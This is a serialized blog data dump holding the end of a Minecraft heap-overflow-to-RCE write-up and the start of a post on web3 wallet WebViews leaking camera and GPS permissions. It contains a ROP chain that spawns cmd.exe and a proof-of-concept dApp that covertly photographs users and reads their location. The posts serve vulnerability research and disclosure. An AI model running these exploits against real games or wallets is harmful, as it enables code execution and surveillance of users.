",{"type":23,"tag":92,"props":155548,"children":155550},{"className":155549},[],[155551],{"type":28,"value":155552},"GetModuleHandle(\"ucrtbase.dll\")",{"type":28,"value":155554}," to obtain the base address of ",{"type":23,"tag":92,"props":155556,"children":155558},{"className":155557},[],[155559],{"type":28,"value":155560},"ucrtbase.dll",{"type":28,"value":155562}," (which exports ",{"type":23,"tag":92,"props":155564,"children":155566},{"className":155565},[],[155567],{"type":28,"value":131264},{"type":28,"value":155569},"). It then calls ",{"type":23,"tag":92,"props":155571,"children":155573},{"className":155572},[],[155574],{"type":28,"value":155575},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":28,"value":155577}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":92,"props":155579,"children":155581},{"className":155580},[],[155582],{"type":28,"value":131264},{"type":28,"value":155584}," with the \"cmd.exe\" string.",{"type":23,"tag":24,"props":155586,"children":155587},{},[155588],{"type":28,"value":155589},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":87,"props":155591,"children":155593},{"code":155592,"language":18937,"meta":7,"className":18938,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[155594],{"type":23,"tag":92,"props":155595,"children":155596},{"__ignoreMap":7},[155597,155605,155613,155638,155646,155654,155661,155669,155677,155704,155717,155730,155751,155780,155809,155816,155824,155837,155845,155881,155889,155896,155904,155911,155936,155947,155959],{"type":23,"tag":134,"props":155598,"children":155599},{"class":136,"line":137},[155600],{"type":23,"tag":134,"props":155601,"children":155602},{"style":141},[155603],{"type":28,"value":155604},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":134,"props":155606,"children":155607},{"class":136,"line":147},[155608],{"type":23,"tag":134,"props":155609,"children":155610},{"style":179},[155611],{"type":28,"value":155612},"rop.gadget(pop_r8)\n",{"type":23,"tag":134,"props":155614,"children":155615},{"class":136,"line":185},[155616,155621,155625,155630,155634],{"type":23,"tag":134,"props":155617,"children":155618},{"style":179},[155619],{"type":28,"value":155620},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":134,"props":155622,"children":155623},{"style":168},[155624],{"type":28,"value":1532},{"type":23,"tag":134,"props":155626,"children":155627},{"style":151},[155628],{"type":28,"value":155629}," 0x",{"type":23,"tag":134,"props":155631,"children":155632},{"style":205},[155633],{"type":28,"value":134381},{"type":23,"tag":134,"props":155635,"children":155636},{"style":179},[155637],{"type":28,"value":329},{"type":23,"tag":134,"props":155639,"children":155640},{"class":136,"line":221},[155641],{"type":23,"tag":134,"props":155642,"children":155643},{"style":141},[155644],{"type":28,"value":155645},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":134,"props":155647,"children":155648},{"class":136,"line":332},[155649],{"type":23,"tag":134,"props":155650,"children":155651},{"style":179},[155652],{"type":28,"value":155653},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":134,"props":155655,"children":155656},{"class":136,"line":438},[155657],{"type":23,"tag":134,"props":155658,"children":155659},{"emptyLinePlaceholder":15},[155660],{"type":28,"value":865},{"type":23,"tag":134,"props":155662,"children":155663},{"class":136,"line":466},[155664],{"type":23,"tag":134,"props":155665,"children":155666},{"style":141},[155667],{"type":28,"value":155668},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":134,"props":155670,"children":155671},{"class":136,"line":479},[155672],{"type":23,"tag":134,"props":155673,"children":155674},{"style":179},[155675],{"type":28,"value":155676},"rop.gadget(pop_rcx)\n",{"type":23,"tag":134,"props":155678,"children":155679},{"class":136,"line":497},[155680,155685,155690,155695,155699],{"type":23,"tag":134,"props":155681,"children":155682},{"style":179},[155683],{"type":28,"value":155684},"rop.gadget(",{"type":23,"tag":134,"props":155686,"children":155687},{"style":151},[155688],{"type":28,"value":155689},"0x",{"type":23,"tag":134,"props":155691,"children":155692},{"style":205},[155693],{"type":28,"value":155694},"7468B68",{"type":23,"tag":134,"props":155696,"children":155697},{"style":179},[155698],{"type":28,"value":252},{"type":23,"tag":134,"props":155700,"children":155701},{"style":141},[155702],{"type":28,"value":155703},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":134,"props":155705,"children":155706},{"class":136,"line":518},[155707,155712],{"type":23,"tag":134,"props":155708,"children":155709},{"style":179},[155710],{"type":28,"value":155711},"rop.gadget(ret) ",{"type":23,"tag":134,"props":155713,"children":155714},{"style":141},[155715],{"type":28,"value":155716},"# movaps alignment\n",{"type":23,"tag":134,"props":155718,"children":155719},{"class":136,"line":527},[155720,155725],{"type":23,"tag":134,"props":155721,"children":155722},{"style":179},[155723],{"type":28,"value":155724},"rop.gadget(push_rax_ret) ",{"type":23,"tag":134,"props":155726,"children":155727},{"style":141},[155728],{"type":28,"value":155729},"# calls `GetModuleHandle`\n",{"type":23,"tag":134,"props":155731,"children":155732},{"class":136,"line":780},[155733,155738,155742,155747],{"type":23,"tag":134,"props":155734,"children":155735},{"style":179},[155736],{"type":28,"value":155737},"rop.literal(u64(",{"type":23,"tag":134,"props":155739,"children":155740},{"style":151},[155741],{"type":28,"value":393},{"type":23,"tag":134,"props":155743,"children":155744},{"style":1461},[155745],{"type":28,"value":155746},"\"ucrtbase\"",{"type":23,"tag":134,"props":155748,"children":155749},{"style":179},[155750],{"type":28,"value":19189},{"type":23,"tag":134,"props":155752,"children":155753},{"class":136,"line":797},[155754,155758,155762,155767,155772,155776],{"type":23,"tag":134,"props":155755,"children":155756},{"style":179},[155757],{"type":28,"value":155737},{"type":23,"tag":134,"props":155759,"children":155760},{"style":151},[155761],{"type":28,"value":393},{"type":23,"tag":134,"props":155763,"children":155764},{"style":1461},[155765],{"type":28,"value":155766},"\".dll",{"type":23,"tag":134,"props":155768,"children":155769},{"style":47878},[155770],{"type":28,"value":155771},"\\x00\\x00\\x00\\x00",{"type":23,"tag":134,"props":155773,"children":155774},{"style":1461},[155775],{"type":28,"value":19537},{"type":23,"tag":134,"props":155777,"children":155778},{"style":179},[155779],{"type":28,"value":19189},{"type":23,"tag":134,"props":155781,"children":155782},{"class":136,"line":814},[155783,155787,155791,155796,155801,155805],{"type":23,"tag":134,"props":155784,"children":155785},{"style":179},[155786],{"type":28,"value":155737},{"type":23,"tag":134,"props":155788,"children":155789},{"style":151},[155790],{"type":28,"value":393},{"type":23,"tag":134,"props":155792,"children":155793},{"style":1461},[155794],{"type":28,"value":155795},"\"system",{"type":23,"tag":134,"props":155797,"children":155798},{"style":47878},[155799],{"type":28,"value":155800},"\\x00\\x00",{"type":23,"tag":134,"props":155802,"children":155803},{"style":1461},[155804],{"type":28,"value":19537},{"type":23,"tag":134,"props":155806,"children":155807},{"style":179},[155808],{"type":28,"value":19189},{"type":23,"tag":134,"props":155810,"children":155811},{"class":136,"line":827},[155812],{"type":23,"tag":134,"props":155813,"children":155814},{"emptyLinePlaceholder":15},[155815],{"type":28,"value":865},{"type":23,"tag":134,"props":155817,"children":155818},{"class":136,"line":836},[155819],{"type":23,"tag":134,"props":155820,"children":155821},{"style":141},[155822],{"type":28,"value":155823},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":134,"props":155825,"children":155826},{"class":136,"line":859},[155827,155832],{"type":23,"tag":134,"props":155828,"children":155829},{"style":179},[155830],{"type":28,"value":155831},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":134,"props":155833,"children":155834},{"style":141},[155835],{"type":28,"value":155836},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":134,"props":155838,"children":155839},{"class":136,"line":868},[155840],{"type":23,"tag":134,"props":155841,"children":155842},{"style":179},[155843],{"type":28,"value":155844},"rop.gadget(pop_rdx)\n",{"type":23,"tag":134,"props":155846,"children":155847},{"class":136,"line":877},[155848,155852,155856,155860,155864,155868,155872,155876],{"type":23,"tag":134,"props":155849,"children":155850},{"style":179},[155851],{"type":28,"value":155684},{"type":23,"tag":134,"props":155853,"children":155854},{"style":151},[155855],{"type":28,"value":155689},{"type":23,"tag":134,"props":155857,"children":155858},{"style":205},[155859],{"type":28,"value":155694},{"type":23,"tag":134,"props":155861,"children":155862},{"style":168},[155863],{"type":28,"value":8365},{"type":23,"tag":134,"props":155865,"children":155866},{"style":151},[155867],{"type":28,"value":155629},{"type":23,"tag":134,"props":155869,"children":155870},{"style":205},[155871],{"type":28,"value":88765},{"type":23,"tag":134,"props":155873,"children":155874},{"style":179},[155875],{"type":28,"value":252},{"type":23,"tag":134,"props":155877,"children":155878},{"style":141},[155879],{"type":28,"value":155880},"# offset of \"system\" string\n",{"type":23,"tag":134,"props":155882,"children":155883},{"class":136,"line":946},[155884],{"type":23,"tag":134,"props":155885,"children":155886},{"style":179},[155887],{"type":28,"value":155888},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":134,"props":155890,"children":155891},{"class":136,"line":954},[155892],{"type":23,"tag":134,"props":155893,"children":155894},{"emptyLinePlaceholder":15},[155895],{"type":28,"value":865},{"type":23,"tag":134,"props":155897,"children":155898},{"class":136,"line":984},[155899],{"type":23,"tag":134,"props":155900,"children":155901},{"style":141},[155902],{"type":28,"value":155903},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":134,"props":155905,"children":155906},{"class":136,"line":992},[155907],{"type":23,"tag":134,"props":155908,"children":155909},{"style":179},[155910],{"type":28,"value":155676},{"type":23,"tag":134,"props":155912,"children":155913},{"class":136,"line":1024},[155914,155918,155922,155927,155931],{"type":23,"tag":134,"props":155915,"children":155916},{"style":179},[155917],{"type":28,"value":155684},{"type":23,"tag":134,"props":155919,"children":155920},{"style":151},[155921],{"type":28,"value":155689},{"type":23,"tag":134,"props":155923,"children":155924},{"style":205},[155925],{"type":28,"value":155926},"7468DB8",{"type":23,"tag":134,"props":155928,"children":155929},{"style":179},[155930],{"type":28,"value":252},{"type":23,"tag":134,"props":155932,"children":155933},{"style":141},[155934],{"type":28,"value":155935},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":134,"props":155937,"children":155938},{"class":136,"line":1032},[155939,155943],{"type":23,"tag":134,"props":155940,"children":155941},{"style":179},[155942],{"type":28,"value":155711},{"type":23,"tag":134,"props":155944,"children":155945},{"style":141},[155946],{"type":28,"value":155716},{"type":23,"tag":134,"props":155948,"children":155949},{"class":136,"line":1092},[155950,155954],{"type":23,"tag":134,"props":155951,"children":155952},{"style":179},[155953],{"type":28,"value":155724},{"type":23,"tag":134,"props":155955,"children":155956},{"style":141},[155957],{"type":28,"value":155958},"# calls `system`\n",{"type":23,"tag":134,"props":155960,"children":155961},{"class":136,"line":8508},[155962,155966,155970,155975,155980,155984],{"type":23,"tag":134,"props":155963,"children":155964},{"style":179},[155965],{"type":28,"value":155737},{"type":23,"tag":134,"props":155967,"children":155968},{"style":151},[155969],{"type":28,"value":393},{"type":23,"tag":134,"props":155971,"children":155972},{"style":1461},[155973],{"type":28,"value":155974},"\"cmd.exe",{"type":23,"tag":134,"props":155976,"children":155977},{"style":47878},[155978],{"type":28,"value":155979},"\\x00",{"type":23,"tag":134,"props":155981,"children":155982},{"style":1461},[155983],{"type":28,"value":19537},{"type":23,"tag":134,"props":155985,"children":155986},{"style":179},[155987],{"type":28,"value":19189},{"type":23,"tag":9072,"props":155989,"children":155991},{"id":155990},"demo",[155992],{"type":28,"value":155993},"Demo",{"type":23,"tag":24,"props":155995,"children":155996},{},[155997],{"type":28,"value":155998},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":131370,"props":156000,"children":156003},{"className":156001,"controls":15},[141337,156002],"blog-video-wide",[156004,156005,156009],{"type":28,"value":141340},{"type":23,"tag":140576,"props":156006,"children":156008},{"src":156007,"type":131368},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":28,"value":141346},{"type":23,"tag":61,"props":156011,"children":156012},{"id":28425},[156013],{"type":28,"value":18423},{"type":23,"tag":24,"props":156015,"children":156016},{},[156017],{"type":28,"value":156018},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":24,"props":156020,"children":156021},{},[156022],{"type":28,"value":156023},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":24,"props":156025,"children":156026},{},[156027],{"type":28,"value":156028},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":2575,"props":156030,"children":156031},{},[156032],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":156034},[156035,156039,156044,156055],{"id":146695,"depth":147,"text":146698,"children":156036},[156037,156038],{"id":146730,"depth":185,"text":146733},{"id":146746,"depth":185,"text":146749},{"id":146767,"depth":147,"text":146770,"children":156040},[156041,156042,156043],{"id":146783,"depth":185,"text":146786},{"id":146871,"depth":185,"text":146874},{"id":149171,"depth":185,"text":149174},{"id":4872,"depth":147,"text":4875,"children":156045},[156046,156047,156048,156049,156050,156051,156052,156053,156054],{"id":149278,"depth":185,"text":149281},{"id":149303,"depth":185,"text":149306},{"id":149440,"depth":185,"text":149443},{"id":151604,"depth":185,"text":151607},{"id":151966,"depth":185,"text":151969},{"id":152786,"depth":185,"text":152789},{"id":154900,"depth":185,"text":154903},{"id":155518,"depth":185,"text":155521},{"id":155990,"depth":185,"text":155993},{"id":28425,"depth":147,"text":18423},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":156060,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":156061,"description":156062,"date":156063,"author":156064,"image":156066,"isFeatured":15,"onBlogPage":15,"tags":156068,"body":156070,"_type":2586,"_id":158393,"_source":2588,"_file":158394,"_stem":158395,"_extension":2591},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[30696,30695,156065],"nikolaos",{"src":156067,"width":96780,"height":13091},"/posts/insecure-webview-integrations/title.png",[31636,131476,156069],"webview",{"type":20,"children":156071,"toc":158380},[156072,156077,156082,156088,156093,156098,156103,156109,156114,156120,156142,156155,156175,156189,156195,156209,156217,156222,156228,156233,156242,156263,156407,156412,156418,156423,156428,156442,156446,156451,156469,157897,157901,157906,157918,157927,157932,157938,157960,157968,157973,157979,157984,158002,158007,158013,158026,158308,158336,158349,158354,158367,158371,158376],{"type":23,"tag":24,"props":156073,"children":156074},{},[156075],{"type":28,"value":156076},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":24,"props":156078,"children":156079},{},[156080],{"type":28,"value":156081},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":34870,"props":156083,"children":156085},{"id":156084},"exploiting-mobile-webviews",[156086],{"type":28,"value":156087},"Exploiting Mobile WebViews",{"type":23,"tag":24,"props":156089,"children":156090},{},[156091],{"type":28,"value":156092},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":24,"props":156094,"children":156095},{},[156096],{"type":28,"value":156097},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":24,"props":156099,"children":156100},{},[156101],{"type":28,"value":156102},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":61,"props":156104,"children":156106},{"id":156105},"handling-webview-permissions",[156107],{"type":28,"value":156108},"Handling WebView permissions",{"type":23,"tag":24,"props":156110,"children":156111},{},[156112],{"type":28,"value":156113},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":9072,"props":156115,"children":156117},{"id":156116},"android",[156118],{"type":28,"value":156119},"Android",{"type":23,"tag":24,"props":156121,"children":156122},{},[156123,156125,156132,156134,156140],{"type":28,"value":156124},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":31,"props":156126,"children":156129},{"href":156127,"rel":156128},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[35],[156130],{"type":28,"value":156131},"onPermissionRequest",{"type":28,"value":156133},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":92,"props":156135,"children":156137},{"className":156136},[],[156138],{"type":28,"value":156139},"PermissionRequest",{"type":28,"value":156141}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":78,"props":156143,"children":156144},{},[156145],{"type":23,"tag":24,"props":156146,"children":156147},{},[156148,156150,156153],{"type":28,"value":156149},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":134,"props":156151,"children":156152},{},[],{"type":28,"value":156154},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":24,"props":156156,"children":156157},{},[156158,156160,156166,156168,156174],{"type":28,"value":156159},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":92,"props":156161,"children":156163},{"className":156162},[],[156164],{"type":28,"value":156165},"getOrigin()",{"type":28,"value":156167}," and the requested permissions with ",{"type":23,"tag":92,"props":156169,"children":156171},{"className":156170},[],[156172],{"type":28,"value":156173},"getResources()",{"type":28,"value":720},{"type":23,"tag":24,"props":156176,"children":156177},{},[156178,156180,156187],{"type":28,"value":156179},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":31,"props":156181,"children":156184},{"href":156182,"rel":156183},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[35],[156185],{"type":28,"value":156186},"webview_shell",{"type":28,"value":156188},". In this instance, no origin checks are performed.",{"type":23,"tag":9072,"props":156190,"children":156192},{"id":156191},"ios",[156193],{"type":28,"value":156194},"iOS",{"type":23,"tag":24,"props":156196,"children":156197},{},[156198,156200,156207],{"type":28,"value":156199},"On the contrary, iOS ",{"type":23,"tag":31,"props":156201,"children":156204},{"href":156202,"rel":156203},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[35],[156205],{"type":28,"value":156206},"documentation",{"type":28,"value":156208}," states that:",{"type":23,"tag":78,"props":156210,"children":156211},{},[156212],{"type":23,"tag":24,"props":156213,"children":156214},{},[156215],{"type":28,"value":156216},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":24,"props":156218,"children":156219},{},[156220],{"type":28,"value":156221},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":61,"props":156223,"children":156225},{"id":156224},"the-shortcomings-of-webview-implementations",[156226],{"type":28,"value":156227},"The shortcomings of WebView implementations",{"type":23,"tag":24,"props":156229,"children":156230},{},[156231],{"type":28,"value":156232},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":30841,"props":156234,"children":156235},{"style":30843},[156236],{"type":23,"tag":1116,"props":156237,"children":156241},{"src":156238,"alt":156239,"style":156240},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":156243,"children":156244},{},[156245,156247,156253,156255,156261],{"type":28,"value":156246},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":92,"props":156248,"children":156250},{"className":156249},[],[156251],{"type":28,"value":156252},"react-native-webview",{"type":28,"value":156254},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":31,"props":156256,"children":156259},{"href":156257,"rel":156258},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[35],[156260],{"type":28,"value":156131},{"type":28,"value":156262}," method, we see a similar pattern.",{"type":23,"tag":87,"props":156264,"children":156268},{"className":156265,"code":156266,"language":156267,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[156269],{"type":23,"tag":92,"props":156270,"children":156271},{"__ignoreMap":7},[156272,156280,156309,156369,156389,156400],{"type":23,"tag":134,"props":156273,"children":156274},{"class":136,"line":137},[156275],{"type":23,"tag":134,"props":156276,"children":156277},{"style":141},[156278],{"type":28,"value":156279},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":134,"props":156281,"children":156282},{"class":136,"line":147},[156283,156287,156291,156296,156300,156305],{"type":23,"tag":134,"props":156284,"children":156285},{"style":189},[156286],{"type":28,"value":15049},{"type":23,"tag":134,"props":156288,"children":156289},{"style":179},[156290],{"type":28,"value":232},{"type":23,"tag":134,"props":156292,"children":156293},{"style":162},[156294],{"type":28,"value":156295},"requestedAndroidPermissions",{"type":23,"tag":134,"props":156297,"children":156298},{"style":179},[156299],{"type":28,"value":720},{"type":23,"tag":134,"props":156301,"children":156302},{"style":264},[156303],{"type":28,"value":156304},"isEmpty",{"type":23,"tag":134,"props":156306,"children":156307},{"style":179},[156308],{"type":28,"value":91533},{"type":23,"tag":134,"props":156310,"children":156311},{"class":136,"line":185},[156312,156317,156321,156326,156330,156335,156339,156344,156348,156352,156357,156361,156365],{"type":23,"tag":134,"props":156313,"children":156314},{"style":162},[156315],{"type":28,"value":156316},"    request",{"type":23,"tag":134,"props":156318,"children":156319},{"style":179},[156320],{"type":28,"value":720},{"type":23,"tag":134,"props":156322,"children":156323},{"style":264},[156324],{"type":28,"value":156325},"grant",{"type":23,"tag":134,"props":156327,"children":156328},{"style":179},[156329],{"type":28,"value":272},{"type":23,"tag":134,"props":156331,"children":156332},{"style":162},[156333],{"type":28,"value":156334},"grantedPermissions",{"type":23,"tag":134,"props":156336,"children":156337},{"style":179},[156338],{"type":28,"value":720},{"type":23,"tag":134,"props":156340,"children":156341},{"style":264},[156342],{"type":28,"value":156343},"toArray",{"type":23,"tag":134,"props":156345,"children":156346},{"style":179},[156347],{"type":28,"value":272},{"type":23,"tag":134,"props":156349,"children":156350},{"style":189},[156351],{"type":28,"value":14591},{"type":23,"tag":134,"props":156353,"children":156354},{"style":597},[156355],{"type":28,"value":156356}," String",{"type":23,"tag":134,"props":156358,"children":156359},{"style":179},[156360],{"type":28,"value":924},{"type":23,"tag":134,"props":156362,"children":156363},{"style":205},[156364],{"type":28,"value":1224},{"type":23,"tag":134,"props":156366,"children":156367},{"style":179},[156368],{"type":28,"value":103024},{"type":23,"tag":134,"props":156370,"children":156371},{"class":136,"line":221},[156372,156377,156381,156385],{"type":23,"tag":134,"props":156373,"children":156374},{"style":179},[156375],{"type":28,"value":156376},"    grantedPermissions ",{"type":23,"tag":134,"props":156378,"children":156379},{"style":168},[156380],{"type":28,"value":257},{"type":23,"tag":134,"props":156382,"children":156383},{"style":151},[156384],{"type":28,"value":69779},{"type":23,"tag":134,"props":156386,"children":156387},{"style":179},[156388],{"type":28,"value":182},{"type":23,"tag":134,"props":156390,"children":156391},{"class":136,"line":332},[156392,156396],{"type":23,"tag":134,"props":156393,"children":156394},{"style":189},[156395],{"type":28,"value":16461},{"type":23,"tag":134,"props":156397,"children":156398},{"style":179},[156399],{"type":28,"value":182},{"type":23,"tag":134,"props":156401,"children":156402},{"class":136,"line":438},[156403],{"type":23,"tag":134,"props":156404,"children":156405},{"style":179},[156406],{"type":28,"value":1098},{"type":23,"tag":24,"props":156408,"children":156409},{},[156410],{"type":28,"value":156411},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":9072,"props":156413,"children":156415},{"id":156414},"real-world-exploitation",[156416],{"type":28,"value":156417},"Real world exploitation",{"type":23,"tag":24,"props":156419,"children":156420},{},[156421],{"type":28,"value":156422},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":24,"props":156424,"children":156425},{},[156426],{"type":28,"value":156427},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":24,"props":156429,"children":156430},{},[156431,156433,156440],{"type":28,"value":156432},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":31,"props":156434,"children":156437},{"href":156435,"rel":156436},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[35],[156438],{"type":28,"value":156439},"Justson",{"type":28,"value":156441},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":18368,"props":156443,"children":156444},{"id":39003},[156445],{"type":28,"value":34326},{"type":23,"tag":24,"props":156447,"children":156448},{},[156449],{"type":28,"value":156450},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":4890,"props":156452,"children":156453},{},[156454,156459,156464],{"type":23,"tag":4894,"props":156455,"children":156456},{},[156457],{"type":28,"value":156458},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":4894,"props":156460,"children":156461},{},[156462],{"type":28,"value":156463},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":4894,"props":156465,"children":156466},{},[156467],{"type":28,"value":156468},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":87,"props":156470,"children":156472},{"className":49527,"code":156471,"language":31878,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    